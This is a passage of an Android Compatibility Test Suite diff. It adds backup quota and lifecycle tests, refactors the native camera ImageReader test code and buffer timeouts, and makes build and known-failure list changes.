+        exec("bmgr restore " + BACKUP_APP_NAME);
+
+        waitForLogcat(TIMEOUT_SECONDS,
+            restoreSeparator,
+            "onCreate",
+            "onRestoreFile",
+            "onRestoreFinished",
+            "onDestroy");
+    }
+
+}
diff --git a/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java b/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
new file mode 100644
index 0000000..3924e87
--- /dev/null
+++ b/tests/backup/src/android/backup/cts/FullBackupQuotaTest.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.cts;
+
+/**
+ * Verifies receiving quotaExceeded() callback on full backup.
+ *
+ * Uses test app that creates large file and receives the callback.
+ * {@link com.android.internal.backup.LocalTransport} is used, it has size quota 25MB.
+ */
+public class FullBackupQuotaTest extends BaseBackupCtsTest {
+
+    private static final String BACKUP_APP_NAME = "android.backup.app";
+
+    // Should be the same as LocalTransport.FULL_BACKUP_SIZE_QUOTA
+    private static final int LOCAL_TRANSPORT_BACKUP_QUOTA = 25 * 1024 * 1024;
+    private static final int LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE = 30 * 1024 * 1024;
+
+    private static final int TIMEOUT_SECONDS = 30;
+
+    public void testQuotaExceeded() throws Exception {
+        if (!isBackupSupported()) {
+            return;
+        }
+        String separator = clearLogcat();
+        // Launch test app and create file exceeding limit for local transport
+        createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE);
+
+        // Request backup and wait for quota exceeded event in logcat
+        exec("bmgr backupnow " + BACKUP_APP_NAME);
+        waitForLogcat(TIMEOUT_SECONDS,separator,
+            "Quota exceeded!");
+    }
+
+    public void testQuotaReported() throws Exception {
+        if (!isBackupSupported()) {
+            return;
+        }
+        // get the app out of (possibly) stopped state so that backup can be run
+        exec("cmd activity broadcast -a android.backup.app.ACTION_WAKE_UP " +
+                "-n android.backup.app/.WakeUpReceiver");
+
+        // give it 3s for the broadcast to be delivered
+        try {
+            Thread.sleep(3000);
+        } catch (InterruptedException e) {}
+
+        String separator = clearLogcat();
+        exec("bmgr backupnow " + BACKUP_APP_NAME);
+        waitForLogcat(TIMEOUT_SECONDS,separator,
+            "quota is " + LOCAL_TRANSPORT_BACKUP_QUOTA);
+    }
+
+}
diff --git a/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java b/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java
new file mode 100644
index 0000000..d957bbc
--- /dev/null
+++ b/tests/backup/src/android/backup/cts/KeyValueLifecycleTest.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.cts;
+
+/**
+ * Verifies that key methods are called in expected order during backup / restore.
+ */
+public class KeyValueLifecycleTest extends BaseBackupCtsTest {
+
+    private static final String BACKUP_APP_NAME = "android.backup.kvapp";
+
+    private static final int LOCAL_TRANSPORT_CONFORMING_FILE_SIZE = 5 * 1024;
+
+    private static final int TIMEOUT_SECONDS = 30;
+
+    public void testExpectedMethodsCalledInOrder() throws Exception {
+        if (!isBackupSupported()) {
+            return;
+        }
+        String backupSeparator = clearLogcat();
+
+        // Make sure there's something to backup
+        createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_CONFORMING_FILE_SIZE);
+
+        // Request backup and wait for it to complete
+        exec("bmgr backupnow " + BACKUP_APP_NAME);
+
+        waitForLogcat(TIMEOUT_SECONDS,backupSeparator,
+            "onCreate",
+            "Backup requested",
+            "onDestroy");
+
+        String restoreSeparator = clearLogcat();
+
+        // Now request restore and wait for it to complete
+        exec("bmgr restore " + BACKUP_APP_NAME);
+
+        waitForLogcat(TIMEOUT_SECONDS, restoreSeparator,
+            "onCreate",
+            "Restore requested",
+            "onRestoreFinished",
+            "onDestroy");
+    }
+
+}
diff --git a/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java b/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java
new file mode 100644
index 0000000..ceaa18e
--- /dev/null
+++ b/tests/backup/src/android/backup/cts/KeyValueQuotaTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.cts;
+
+/**
+ * Verifies receiving quotaExceeded() callback on full backup.
+ *
+ * Uses test app that creates large file and receives the callback.
+ * {@link com.android.internal.backup.LocalTransport} is used, it has size quota 25MB.
+ */
+public class KeyValueQuotaTest extends BaseBackupCtsTest {
+
+    private static final String BACKUP_APP_NAME = "android.backup.kvapp";
+
+    // Should be the same as LocalTransport. KEY_VALUE_BACKUP_SIZE_QUOTA
+    private static final int LOCAL_TRANSPORT_BACKUP_QUOTA = 5 * 1024 * 1024;
+    private static final int LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE = 6 * 1024 * 1024;
+
+    private static final int TIMEOUT_SECONDS = 30;
+
+    public void testQuotaExceeded() throws Exception {
+        if (!isBackupSupported()) {
+            return;
+        }
+        String separator = clearLogcat();
+        // Launch test app and create file exceeding limit for local transport
+        createTestFileOfSize(BACKUP_APP_NAME, LOCAL_TRANSPORT_EXCEEDING_FILE_SIZE);
+
+        // Request backup and wait for quota exceeded event in logcat
+        exec("bmgr backupnow " + BACKUP_APP_NAME);
+        waitForLogcat(TIMEOUT_SECONDS, separator,
+            "Quota exceeded!");
+    }
+
+    public void testQuotaReported() throws Exception {
+        if (!isBackupSupported()) {
+            return;
+        }
+        // Launch the main activity so the app qualifies for backup.
+        createTestFileOfSize(BACKUP_APP_NAME, 1);
+
+        String separator = clearLogcat();
+        exec("bmgr backupnow " + BACKUP_APP_NAME);
+        waitForLogcat(TIMEOUT_SECONDS, separator,
+            "quota is " + LOCAL_TRANSPORT_BACKUP_QUOTA);
+    }
+
+}
diff --git a/tests/camera/Android.mk b/tests/camera/Android.mk
index d6331e76..c8ba9cd 100644
--- a/tests/camera/Android.mk
+++ b/tests/camera/Android.mk
@@ -58,7 +58,7 @@
 	$(call all-renderscript-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsCameraTestCases
 
diff --git a/tests/camera/api25test/Android.mk b/tests/camera/api25test/Android.mk
index f757491..a848031 100644
--- a/tests/camera/api25test/Android.mk
+++ b/tests/camera/api25test/Android.mk
@@ -38,7 +38,7 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/camera/api25test/AndroidTest.xml b/tests/camera/api25test/AndroidTest.xml
index f2b5213..a7b2ae7 100644
--- a/tests/camera/api25test/AndroidTest.xml
+++ b/tests/camera/api25test/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for CTS Camera API 25 test cases">
     <option name="config-descriptor:metadata" key="component" value="camera" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsCameraApi25TestCases.apk" />
diff --git a/tests/camera/libctscamera2jni/native-camera-jni.cpp b/tests/camera/libctscamera2jni/native-camera-jni.cpp
index 42907c4..b2124ce 100644
--- a/tests/camera/libctscamera2jni/native-camera-jni.cpp
+++ b/tests/camera/libctscamera2jni/native-camera-jni.cpp
@@ -238,9 +238,11 @@
     int mOnActive = 0;
 };
 
+
 class ImageReaderListener {
   public:
-    static void onImageAvailable(void* obj, AImageReader* reader) {
+    // count, acquire, validate, and delete AImage when a new image is available
+    static void validateImageCb(void* obj, AImageReader* reader) {
         ALOGV("%s", __FUNCTION__);
         if (obj == nullptr) {
             return;
@@ -320,6 +322,27 @@
         AImage_delete(img);
     }
 
+    // count, acquire image but not delete the image
+    static void acquireImageCb(void* obj, AImageReader* reader) {
+        ALOGV("%s", __FUNCTION__);
+        if (obj == nullptr) {
+            return;
+        }
+        ImageReaderListener* thiz = reinterpret_cast<ImageReaderListener*>(obj);
+        std::lock_guard<std::mutex> lock(thiz->mMutex);
+        thiz->mOnImageAvailableCount++;
+
+        // Acquire, but not closing.
+        AImage* img = nullptr;
+        media_status_t ret = AImageReader_acquireNextImage(reader, &img);
+        if (ret != AMEDIA_OK || img == nullptr) {
+            ALOGE("%s: acquire image from reader %p failed! ret: %d, img %p",
+                    __FUNCTION__, reader, ret, img);
+            return;
+        }
+        return;
+    }
+
     int onImageAvailableCount() {
         std::lock_guard<std::mutex> lock(mMutex);
         return mOnImageAvailableCount;
@@ -330,12 +353,6 @@
         mDumpFilePathBase = path;
     }
 
-    void reset() {
-        std::lock_guard<std::mutex> lock(mMutex);
-        mOnImageAvailableCount = 0;
-        mDumpFilePathBase = nullptr;
-    }
-
   private:
     // TODO: add mReader to make sure each listener is associated to one reader?
     std::mutex mMutex;
@@ -383,7 +400,6 @@
 
     // Free all resources except camera manager
     void resetCamera() {
-        mReaderListener.reset();
         mSessionListener.reset();
         if (mSession) {
             ACameraCaptureSession_close(mSession);
@@ -509,7 +525,8 @@
     }
 
     media_status_t initImageReaderWithErrorLog(
-            int32_t width, int32_t height, int32_t format, int32_t maxImages) {
+            int32_t width, int32_t height, int32_t format, int32_t maxImages,
+            AImageReader_ImageListener* listener) {
         if (mImgReader || mImgReaderAnw) {
             LOG_ERROR(errorString, "Cannot init image reader before closing existing one");
             return AMEDIA_ERROR_UNKNOWN;
@@ -527,8 +544,7 @@
             return AMEDIA_ERROR_UNKNOWN;
         }
 
-        ret = AImageReader_setImageListener(
-                mImgReader, &mReaderCb);
+        ret = AImageReader_setImageListener(mImgReader, listener);
         if (ret != AMEDIA_OK) {
             LOG_ERROR(errorString, "Set AImageReader listener failed. ret %d", ret);
             return ret;
@@ -749,14 +765,9 @@
                 mSession, nullptr, 1, &mStillRequest, &seqId);
     }
 
-    int getReaderImageCount() {
-        return mReaderListener.onImageAvailableCount();
-    }
-
     camera_status_t resetWithErrorLog() {
         camera_status_t ret;
 
-        mReaderListener.reset();
         closeSession();
 
         for (int i = 0; i < 50; i++) {
@@ -785,10 +796,6 @@
         return ACAMERA_OK;
     }
 
-    void setDumpFilePathBase(const char* path) {
-        mReaderListener.setDumpFilePathBase(path);
-    }
-
     CaptureSessionListener* getSessionListener() {
         return &mSessionListener;
     }
@@ -821,13 +828,6 @@
         CaptureSessionListener::onActive
     };
 
-    // TODO: capture listeners
-    ImageReaderListener mReaderListener;
-    AImageReader_ImageListener mReaderCb {
-        &mReaderListener,
-        ImageReaderListener::onImageAvailable
-    };
-
     ACameraIdList* mCameraIdList = nullptr;
     ACameraDevice* mDevice = nullptr;
     AImageReader* mImgReader = nullptr;
@@ -1577,11 +1577,8 @@
     return pass;
 }
 
-extern "C" jboolean
-Java_android_hardware_camera2_cts_NativeImageReaderTest_\
-testJpegNative(
-        JNIEnv* env, jclass /*clazz*/, jstring jOutPath) {
-    ALOGV("%s", __FUNCTION__);
+bool nativeImageReaderTestBase(
+        JNIEnv* env, jstring jOutPath, AImageReader_ImageCallback cb) {
     const int NUM_TEST_IMAGES = 10;
     const int TEST_WIDTH  = 640;
     const int TEST_HEIGHT = 480;
@@ -1590,9 +1587,11 @@
     bool pass = false;
     PreviewTestCase testCase;
 
-    const char* outPath = env->GetStringUTFChars(jOutPath, nullptr);
-    testCase.setDumpFilePathBase(outPath);
-    ALOGI("%s: out path is %s", __FUNCTION__, outPath);
+    const char* outPath = (jOutPath == nullptr) ? nullptr :
+            env->GetStringUTFChars(jOutPath, nullptr);
+    if (outPath != nullptr) {
+        ALOGI("%s: out path is %s", __FUNCTION__, outPath);
+    }
 
     camera_status_t ret = testCase.initWithErrorLog();
     if (ret != ACAMERA_OK) {
@@ -1626,8 +1625,13 @@
             goto cleanup;
         }
 
+        ImageReaderListener readerListener;
+        AImageReader_ImageListener readerCb { &readerListener, cb };
+        readerListener.setDumpFilePathBase(outPath);
+
         mediaRet = testCase.initImageReaderWithErrorLog(
-                TEST_WIDTH, TEST_HEIGHT, AIMAGE_FORMAT_JPEG, NUM_TEST_IMAGES);
+                TEST_WIDTH, TEST_HEIGHT, AIMAGE_FORMAT_JPEG, NUM_TEST_IMAGES,
+                &readerCb);
         if (mediaRet != AMEDIA_OK) {
             // Don't log error here. testcase did it
             goto cleanup;
@@ -1658,16 +1662,16 @@
         // wait until all capture finished
         for (int i = 0; i < 50; i++) {
             usleep(100000); // sleep 100ms
-            if (testCase.getReaderImageCount() == NUM_TEST_IMAGES) {
+            if (readerListener.onImageAvailableCount() == NUM_TEST_IMAGES) {
                 ALOGI("Session take ~%d ms to capture %d images",
                         i*100, NUM_TEST_IMAGES);
                 break;
             }
         }
 
-        if (testCase.getReaderImageCount() != NUM_TEST_IMAGES) {
+        if (readerListener.onImageAvailableCount() != NUM_TEST_IMAGES) {
             LOG_ERROR(errorString, "Camera %s timeout capturing %d images. Got %d",
-                    cameraId, NUM_TEST_IMAGES, testCase.getReaderImageCount());
+                    cameraId, NUM_TEST_IMAGES, readerListener.onImageAvailableCount());
             goto cleanup;
         }
 
@@ -1694,7 +1698,9 @@
     pass = true;
 
 cleanup:
-    env->ReleaseStringUTFChars(jOutPath, outPath);
+    if (outPath != nullptr) {
+        env->ReleaseStringUTFChars(jOutPath, outPath);
+    }
     ALOGI("%s %s", __FUNCTION__, pass ? "pass" : "failed");
     if (!pass) {
         throwAssertionError(env, errorString);
@@ -1702,6 +1708,23 @@
     return pass;
 }
 
+extern "C" jboolean
+Java_android_hardware_camera2_cts_NativeImageReaderTest_\
+testJpegNative(
+        JNIEnv* env, jclass /*clazz*/, jstring jOutPath) {
+    ALOGV("%s", __FUNCTION__);
+    return nativeImageReaderTestBase(env, jOutPath, ImageReaderListener::validateImageCb);
+}
+
+
+extern "C" jboolean
+Java_android_hardware_camera2_cts_NativeImageReaderTest_\
+testImageReaderCloseAcquiredImagesNative(
+        JNIEnv* env, jclass /*clazz*/) {
+    ALOGV("%s", __FUNCTION__);
+    return nativeImageReaderTestBase(env, nullptr, ImageReaderListener::acquireImageCb);
+}
+
 
 extern "C" jboolean
 Java_android_hardware_camera2_cts_NativeStillCaptureTest_\
@@ -1717,7 +1740,6 @@
     PreviewTestCase testCase;
 
     const char* outPath = env->GetStringUTFChars(jOutPath, nullptr);
-    testCase.setDumpFilePathBase(outPath);
     ALOGI("%s: out path is %s", __FUNCTION__, outPath);
 
     camera_status_t ret = testCase.initWithErrorLog();
@@ -1752,8 +1774,15 @@
             goto cleanup;
         }
 
+        ImageReaderListener readerListener;
+        AImageReader_ImageListener readerCb {
+            &readerListener,
+            ImageReaderListener::validateImageCb
+        };
+        readerListener.setDumpFilePathBase(outPath);
         mediaRet = testCase.initImageReaderWithErrorLog(
-                TEST_WIDTH, TEST_HEIGHT, AIMAGE_FORMAT_JPEG, NUM_TEST_IMAGES);
+                TEST_WIDTH, TEST_HEIGHT, AIMAGE_FORMAT_JPEG, NUM_TEST_IMAGES,
+                &readerCb);
         if (mediaRet != AMEDIA_OK) {
             // Don't log error here. testcase did it
             goto cleanup;
@@ -1799,16 +1828,16 @@
         // wait until all capture finished
         for (int i = 0; i < 50; i++) {
             usleep(100000); // sleep 100ms
-            if (testCase.getReaderImageCount() == NUM_TEST_IMAGES) {
+            if (readerListener.onImageAvailableCount() == NUM_TEST_IMAGES) {
                 ALOGI("Session take ~%d ms to capture %d images",
                         i*100, NUM_TEST_IMAGES);
                 break;
             }
         }
 
-        if (testCase.getReaderImageCount() != NUM_TEST_IMAGES) {
+        if (readerListener.onImageAvailableCount() != NUM_TEST_IMAGES) {
             LOG_ERROR(errorString, "Camera %s timeout capturing %d images. Got %d",
-                    cameraId, NUM_TEST_IMAGES, testCase.getReaderImageCount());
+                    cameraId, NUM_TEST_IMAGES, readerListener.onImageAvailableCount());
             goto cleanup;
         }
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
index 8c7e342..92b171a 100644
--- a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
@@ -379,6 +379,20 @@
         checkNotNull("request", request);
         checkNotNull("graph", graph);
 
+        long exposureTimeNs = -1;
+        int controlMode = -1;
+        int aeMode = -1;
+        if (request.get(CaptureRequest.CONTROL_MODE) != null) {
+            controlMode = request.get(CaptureRequest.CONTROL_MODE);
+        }
+        if (request.get(CaptureRequest.CONTROL_AE_MODE) != null) {
+            aeMode = request.get(CaptureRequest.CONTROL_AE_MODE);
+        }
+        if ((request.get(CaptureRequest.SENSOR_EXPOSURE_TIME) != null) &&
+                ((controlMode == CaptureRequest.CONTROL_MODE_OFF) ||
+                 (aeMode == CaptureRequest.CONTROL_AE_MODE_OFF))) {
+            exposureTimeNs = request.get(CaptureRequest.SENSOR_EXPOSURE_TIME);
+        }
         mSession.capture(request, new CameraCaptureSession.CaptureCallback() {
             @Override
             public void onCaptureCompleted(CameraCaptureSession session, CaptureRequest request,
@@ -388,7 +402,12 @@
         }, mHandler);
 
         if (VERBOSE) Log.v(TAG, "Waiting for single shot buffer");
-        graph.advanceInputWaiting();
+        if (exposureTimeNs > 0) {
+            graph.advanceInputWaiting(
+                    java.util.concurrent.TimeUnit.NANOSECONDS.toMillis(exposureTimeNs));
+        } else {
+            graph.advanceInputWaiting();
+        }
         if (VERBOSE) Log.v(TAG, "Got the buffer");
         graph.execute();
     }
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index cd42c4d..000edcd 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -36,12 +36,15 @@
 import android.util.Rational;
 import android.util.Range;
 import android.util.Size;
+import android.util.Patterns;
 import android.view.Surface;
 
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
 import java.util.Objects;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 
 import static android.hardware.camera2.cts.helpers.AssertHelpers.*;
 
@@ -53,7 +56,6 @@
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
 
     private static final String PREFIX_ANDROID = "android";
-    private static final String PREFIX_VENDOR = "com";
 
     /*
      * Constants for static RAW metadata.
@@ -1420,15 +1422,12 @@
     }
 
     /**
-     * The key name has a prefix of either "android." or "com."; other prefixes are not valid.
+     * The key name has a prefix of either "android." or a valid TLD; other prefixes are not valid.
      */
     private static void assertKeyPrefixValid(String keyName) {
-        assertStartsWithAnyOf(
+        assertStartsWithAndroidOrTLD(
                 "All metadata keys must start with 'android.' (built-in keys) " +
-                "or 'com.' (vendor-extended keys)", new String[] {
-                        PREFIX_ANDROID + ".",
-                        PREFIX_VENDOR + ".",
-                }, keyName);
+                "or valid TLD (vendor-extended keys)", keyName);
     }
 
     private static void assertTrueForKey(String msg, CameraCharacteristics.Key<?> key,
@@ -1447,15 +1446,21 @@
                 msg, Arrays.toString(expected), actual));
     }
 
-    private static <T> void assertStartsWithAnyOf(String msg, String[] expected, String actual) {
-        for (int i = 0; i < expected.length; ++i) {
-            if (actual.startsWith(expected[i])) {
+    private static <T> void assertStartsWithAndroidOrTLD(String msg, String keyName) {
+        String delimiter = ".";
+        if (keyName.startsWith(PREFIX_ANDROID + delimiter)) {
+            return;
+        }
+        Pattern tldPattern = Pattern.compile(Patterns.TOP_LEVEL_DOMAIN_STR);
+        Matcher match = tldPattern.matcher(keyName);
+        if (match.find(0) && (0 == match.start()) && (!match.hitEnd())) {
+            if (keyName.regionMatches(match.end(), delimiter, 0, delimiter.length())) {
                 return;
             }
         }
 
-        fail(String.format("%s: (expected to start with any of %s, but value was %s)",
-                msg, Arrays.toString(expected), actual));
+        fail(String.format("%s: (expected to start with %s or valid TLD, but value was %s)",
+                msg, PREFIX_ANDROID + delimiter, keyName));
     }
 
     /** Return a positive int if left > right, 0 if left==right, negative int if left < right */
diff --git a/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java
index 7e4508a..b018645 100644
--- a/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java
@@ -38,5 +38,11 @@
                 testJpegNative(DEBUG_FILE_NAME_BASE));
     }
 
+    public void testImageReaderCloseAcquiredImages() {
+        assertTrue("testImageReaderClose fail, see log for details",
+                testImageReaderCloseAcquiredImagesNative());
+    }
+
     private static native boolean testJpegNative(String filePath);
+    private static native boolean testImageReaderCloseAcquiredImagesNative();
 }
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index 6e8cf51..5eed3e8 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -146,6 +146,7 @@
 
                 assertTrue("Camera does not contain outputted image resolution " + actualSize,
                         testSizes.contains(actualSize));
+                imageReader.close();
             } finally {
                 closeDevice(id);
             }
diff --git a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
index e011131..9f51fdf 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
@@ -624,6 +624,7 @@
             focuser = new Camera2Focuser(mCamera, mSession, mPreviewSurface, afListener,
                     mStaticInfo.getCharacteristics(), mHandler);
             if (canSetAfRegion) {
+                previewRequest.set(CaptureRequest.CONTROL_AF_REGIONS, afRegions);
                 stillRequest.set(CaptureRequest.CONTROL_AF_REGIONS, afRegions);
             }
             focuser.startAutoFocus(afRegions);
diff --git a/tests/camera/src/android/hardware/camera2/cts/rs/BlockingInputAllocation.java b/tests/camera/src/android/hardware/camera2/cts/rs/BlockingInputAllocation.java
index c7435a8..576f627 100644
--- a/tests/camera/src/android/hardware/camera2/cts/rs/BlockingInputAllocation.java
+++ b/tests/camera/src/android/hardware/camera2/cts/rs/BlockingInputAllocation.java
@@ -99,6 +99,29 @@
     }
 
     /**
+     * Waits for a buffer to become available, then immediately
+     * {@link Allocation#ioReceive receives} it.
+     *
+     * <p>After calling this, the next script used with this allocation will use the
+     * newer buffer.</p>
+     *
+     * @param timeoutMs timeout in milliseconds.
+     *
+     * @throws TimeoutRuntimeException If waiting for the buffer has timed out.
+     * @throws IllegalStateException If this object has already been {@link #close closed}
+     */
+    public synchronized void waitForBufferAndReceive(long timeoutMs) {
+        checkNotClosed();
+
+        if (VERBOSE) Log.v(TAG, "waitForBufferAndReceive - begin");
+
+        mListener.waitForBuffer(timeoutMs);
+        mAllocation.ioReceive();
+
+        if (VERBOSE) Log.v(TAG, "waitForBufferAndReceive - Allocation#ioReceive");
+    }
+
+    /**
      * If there are multiple pending buffers, {@link Allocation#ioReceive receive} the latest one.
      *
      * <p>Does not block if there are no currently pending buffers.</p>
@@ -175,14 +198,16 @@
         /**
          * Waits for a buffer. Caller must call ioReceive exactly once after calling this.
          *
+         * @param timeoutMs wait timeout in milliseconds
+         *
          * @throws TimeoutRuntimeException If waiting for the buffer has timed out.
          */
-        public void waitForBuffer() {
+        private void waitForBufferWithTimeout(long timeoutMs) {
             synchronized (mBufferSyncObject) {
                 while (mPendingBuffers == 0) {
                     try {
                         if (VERBOSE) Log.v(TAG, "waiting for next buffer");
-                        mBufferSyncObject.wait(TIMEOUT_MS);
+                        mBufferSyncObject.wait(timeoutMs);
                         if (mPendingBuffers == 0) {
                             throw new TimeoutRuntimeException("wait for buffer image timed out");
                         }
@@ -194,6 +219,30 @@
             }
         }
 
+        /**
+         * Waits for a buffer. Caller must call ioReceive exactly once after calling this.
+         *
+         * @param timeoutMs wait timeout in milliseconds.
+         *
+         * @throws TimeoutRuntimeException If waiting for the buffer has timed out.
+         */
+        public void waitForBuffer(long timeoutMs) {
+            if (timeoutMs <= TIMEOUT_MS) {
+                waitForBufferWithTimeout(TIMEOUT_MS);
+            } else {
+                waitForBufferWithTimeout(timeoutMs + TIMEOUT_MS);
+            }
+        }
+
+        /**
+         * Waits for a buffer. Caller must call ioReceive exactly once after calling this.
+         *
+         * @throws TimeoutRuntimeException If waiting for the buffer has timed out.
+         */
+        public void waitForBuffer() {
+            waitForBufferWithTimeout(TIMEOUT_MS);
+        }
+
         @Override
         public void onBufferAvailable(Allocation a) {
             if (VERBOSE) Log.v(TAG, "new buffer in allocation available");
diff --git a/tests/camera/src/android/hardware/camera2/cts/rs/ScriptGraph.java b/tests/camera/src/android/hardware/camera2/cts/rs/ScriptGraph.java
index 56d8703..6bb0f40 100644
--- a/tests/camera/src/android/hardware/camera2/cts/rs/ScriptGraph.java
+++ b/tests/camera/src/android/hardware/camera2/cts/rs/ScriptGraph.java
@@ -88,6 +88,21 @@
     }
 
     /**
+     *
+     * Check and throw an exception in case the graph was not configured with
+     * {@link Builder#configureInputWithSurface configureInputWithSurface}.
+     *
+     * @throws IllegalArgumentException
+     *            if the graph wasn't configured with
+     *            {@link Builder#configureInputWithSurface configureInputWithSurface}
+     */
+    private void checkInput() {
+        if (!isInputFromSurface()) {
+            throw new IllegalArgumentException("Graph was not configured with USAGE_IO_INPUT");
+        }
+    }
+
+    /**
      * Wait until another buffer is produced into the input {@link Surface}, then
      * update the backing input {@link Allocation} with the latest buffer with
      * {@link Allocation#ioReceive ioReceive}.
@@ -100,14 +115,30 @@
      */
     public void advanceInputWaiting() {
         checkNotClosed();
-        if (!isInputFromSurface()) {
-            throw new IllegalArgumentException("Graph was not configured with USAGE_IO_INPUT");
-        }
-
+        checkInput();
         mInputBlocker.waitForBufferAndReceive();
     }
 
     /**
+     * Wait until another buffer is produced into the input {@link Surface}, then
+     * update the backing input {@link Allocation} with the latest buffer with
+     * {@link Allocation#ioReceive ioReceive}.
+     *
+     * @param timeoutMs wait timeout in milliseconds.
+     *
+     * @throws IllegalArgumentException
+     *            if the graph wasn't configured with
+     *            {@link Builder#configureInputWithSurface configureInputWithSurface}
+     * @throws TimeoutRuntimeException
+     *            if waiting for the buffer times out
+     */
+    public void advanceInputWaiting(long timeoutMs) {
+        checkNotClosed();
+        checkInput();
+        mInputBlocker.waitForBufferAndReceive(timeoutMs);
+    }
+
+    /**
      * Update the backing input {@link Allocation} with the latest buffer with
      * {@link Allocation#ioReceive ioReceive} repeatedly until no more buffers are pending.
      *
diff --git a/tests/dram/Android.mk b/tests/dram/Android.mk
index 5c44668..1d21cdc 100644
--- a/tests/dram/Android.mk
+++ b/tests/dram/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_PACKAGE_NAME := CtsDramTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SDK_VERSION := 16
 
diff --git a/tests/dram/jni/Android.mk b/tests/dram/jni/Android.mk
index 4469cc4..1021aaa 100644
--- a/tests/dram/jni/Android.mk
+++ b/tests/dram/jni/Android.mk
@@ -26,4 +26,6 @@
 
 LOCAL_SDK_VERSION := 14
 
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/expectations/knownfailures.txt b/tests/expectations/knownfailures.txt
index 3be19c2..08c2a5e 100644
--- a/tests/expectations/knownfailures.txt
+++ b/tests/expectations/knownfailures.txt
@@ -232,16 +232,6 @@
    bug: 23827982
 },
 {
-   description: "VP9 encoder is not a standard requirement of android as of O.",
-   names: [
-     "android.media.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0320x0180",
-     "android.media.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0640x0360",
-     "android.media.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1280x0720",
-     "android.media.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1920x1080"
-   ],
-   bug: 33090965
-},
-{
   description: "protected broadcast not working",
   names: [
